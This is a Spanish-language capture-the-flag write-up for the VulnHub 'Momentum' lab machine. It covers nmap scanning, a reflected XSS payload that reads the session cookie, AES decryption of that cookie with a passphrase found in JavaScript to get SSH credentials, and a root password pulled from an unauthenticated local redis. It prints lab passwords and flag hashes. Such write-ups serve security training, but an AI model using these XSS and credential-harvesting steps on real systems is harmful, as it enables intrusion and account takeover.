Write Up Momentum VulnHub

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 15:02 EDT
Nmap scan report for 192.168.5.191
Host is up (0.00041s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 5c:8e:2c:cc:c1:b0:3e:7c:0e:22:34:d8:60:31:4e:62 (RSA)
|   256 81:fd:c6:4c:5a:50:0a:27:ea:83:38:64:b9:8b:bd:c1 (ECDSA)
|_  256 c1:8f:87:c1:52:09:27:60:5f:2e:2d:e0:08:03:72:c8 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Momentum | Index 
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:C9:EA:BD (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.67 seconds

Puerto 80

Si leemos el codigo vemos un apartado que pone lo siguiente...

<head>
    <link rel="stylesheet" type="text/css" href="css/style.css">
    <script type="text/javascript" src="js/main.js"></script>
    <title>Momentum | Index </title>
</head>

Y si nos metemos en ese js/main.js vemos lo siguiente...

function viewDetails(str) {

  window.location.href = "opus-details.php?id="+str;
}

/*
var CryptoJS = require("crypto-js");
var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");
console.log(decrypted.toString(CryptoJS.enc.Utf8));
*/

Vemos que hay un opus-details.php y con el parametro id=, si vamos a la siguiente URL...

URL = http://<IP>/opus-details.php

Vemos que existe el .php ahora probaremos alguna inyeccion de XSS en el parametro id=...

URL = http://<IP>/opus-details.php?id=<h1>XSS</h1>

Y veremos que ciertamente se ejecuta a parte de que se muestra en la pagina...

Ya que sabemos que es vulnerable al XSS haremos lo siguiente...

Robaremos la Cookie y por lo que dice el texto que encontramos en Java lo desencriptaremos utilizando la contraseña proporcionada...

 URL = http://<IP>/opus-details.php?id=<script>alert(document.cookie)</script>

Cookie

U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt

Key

SecretPassphraseMomentum

URL = https://www.browserling.com/tools/aes-decrypt

Lo desencriptamos en esa URL, una vez decodificado veremos lo siguiente...

auxerre-alienum##

Por lo que parece son las credenciales del usuario auxerre...

User = auxerre
Password = auxerre-alienum##
ssh auxerre@<IP>

Una vez estemos dentro leemos la flag...

user.txt (flag1)

[ Momentum - User Owned ]
---------------------------------------
flag : 84157165c30ad34d18945b647ec7f647
---------------------------------------

Si hacemos lo siguiente...

ss -nltp

Vemos los procesos con sus puertos y entre ellos esta este proceso trabajando en el localhost y si investigamos que es, es un servidor web utilizando redis...

LISTEN               0                    128                                    127.0.0.1:6379                                   0.0.0.0:*

Por lo que haremos lo siguiente para ver las claves que hay...

redis-cli

Info:

127.0.0.1:6379> keys *
1) "rootpass"
127.0.0.1:6379> get rootpass
"m0mentum-al1enum##"
127.0.0.1:6379> exit

Veremos que hemos descubierto una contraseña la cual va a ser la contraseña de root, por lo que...

su root

Y una vez metamos esa password seremos root, por lo que leeremos la flag...

root.txt (flag2)

[ Momentum - Rooted ]
---------------------------------------
Flag : 658ff660fdac0b079ea78238e5996e40
---------------------------------------
by alienum with <3

Last updated